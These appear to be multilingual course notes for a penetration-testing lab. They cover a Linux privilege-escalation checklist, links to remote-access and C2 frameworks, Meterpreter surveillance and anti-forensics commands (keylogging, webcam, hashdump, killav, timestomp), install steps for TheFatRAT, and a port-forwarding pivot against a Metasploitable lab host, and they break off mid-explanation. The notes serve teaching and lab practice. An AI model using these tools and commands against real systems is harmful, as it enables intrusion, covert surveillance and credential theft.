- What jobs are scheduled?
- What configuration files can be read/written in /etc/ ?
- What information or content can be found in /var/ ?
- Is it possible to write files to places that are in another users path?
- Identify SUID and GUID files
- Identify world-readable and world-writable files
- How are file-systems mounted?
- Are there any unmounted file-systems?
- What sensitive files can be found?
- Are there any passwords in; scripts, databases, configuration files or log files?
- What user information can be found?
- Can private-key information be found?
- Examine files in user home directories (if possible)
- What NICs does the system have?
- What are the network configuration settings?
- What other hosts are communicating with the system?
- Are there any cached IP or MAC addresses?
- Is packet sniffing possible, and if so what can be seen?
- Is SSH tunnelling possible?
- What development tools/languages are installed/supported?
- What areas can be written to?
- Where can code be executed?
- How can files be uploaded?

From a defensive stance, you need to ask yourself very similar questions

- Have you made any of the above information easy for an attacker to find?
- Is the system fully patched? (Kernel, operating system, and all applications)
- Are services running with the minimum level of privileges required?

Altres programes alternatius a Metasploit:

https://github.com/pavanw3b/sh00t
https://github.com/n1nj4sec/pupy
https://github.com/malwaredllc/byob
https://github.com/koutto/jok3r
https://github.com/guardicore/monkey
https://github.com/jeffzh3ng/Fuxi-Scanner
https://github.com/KeepWannabe/Remot3d
https://github.com/knownsec/Pocsuite
https://www.factionc2.com

NO SÉ SI ESTA OBSOLETO O SOLO VAN PARA WINDOWS PERO NO LOS VEO
Another complete list, but in this case of Meterpreter scripts (to run with the *use* command) is available here: https://www.hacker-arise.com/ultimate-list-of-meterpreter-scripts ; there are some interesting ones, like *getgui/screenspy/vnc*, *webcam*, *record_mic*, *killav*, *hashdump*, *persistence*, *timestomp*, etc. Each script has its own arguments, which can be shown writing *-h*. Official scripts are available here: https://github.com/rapid7/metasploit-framework/tree/master/scripts/meterpreter

keyscan_start/keyscan_dump/keyscan_stop
idletime
uictl {enable|disable} {keyboard|mouse}
screenshot

6.-a) PARECE QUE NO ESTA MANTENIDO
Existeixen altres programes alternatius a Metasploit amb objectius similars. Un d'aquests és TheFatRAT (https://github.com/Screetsec/TheFatRat) . Instal.la'l a la màquina virtual executant les següents comandes:

git clone https://github.com/Screetsec/TheFatRat.git
chmod +x setup.sh
sudo ./setup.sh

Seguidament, executa'l amb la comanda *fatrat* i observa les opcions que t'ofereix el menú resultant. ¿Són similars a les de Metasploit? Concretament, sel.lecciona les opcions "6" -> "2" -< "3". ¿Què n'obtens?

NOTA: Un altre programa similar és https://github.com/n1nj4sec/pupy (hi ha un tutorial aquí: https://null-byte.wonderhowto.com/how-to/use-pupy-linux-remote-access-tool-0180320)

********Pivoting: https://thehackerway.com/2011/06/06/comprometiendo-la-red-interna-pivoting-con-metasploit-framework/

********Port-forwarding:
https://www.offensive-security.com/metasploit-unleashed/portfwd/
Since we know MySQL is running on port 3306 and can't be gotten to remotely, we have to setup the Meterpreter shell in a way that we can tunnel connections over the shell. Since the Meterpreter shell runs locally and can get to port 3306, we have to forward a local port to the Metasploitable 3 machine over the Meterpreter shell. The most straightforward approach to do this is to utilize the Meterpreter portfwd module.
The portforward functionality in Meterpreter can be utilized as a pivoting technique to get to networks and machines through the compromised machines that are otherwise not accessible. The portfwd command will hand-off TCP connections to and from the associated machines. In the next steps we'll be making the mySQL server port 3306 accessible on the local assault machine and forward the traffic on this port to Metasploitable 3. At the point when all is setup, we will interface with the localhost on port 3306 with the mysql command line client. The connection to these ports will be forwarded to Metasploitable 3. We can create the tunnels using the following commands:

portfwd add -l 3306 -p 3306 -r 172.28.128.3

Let's explain the parameters we've used in the command: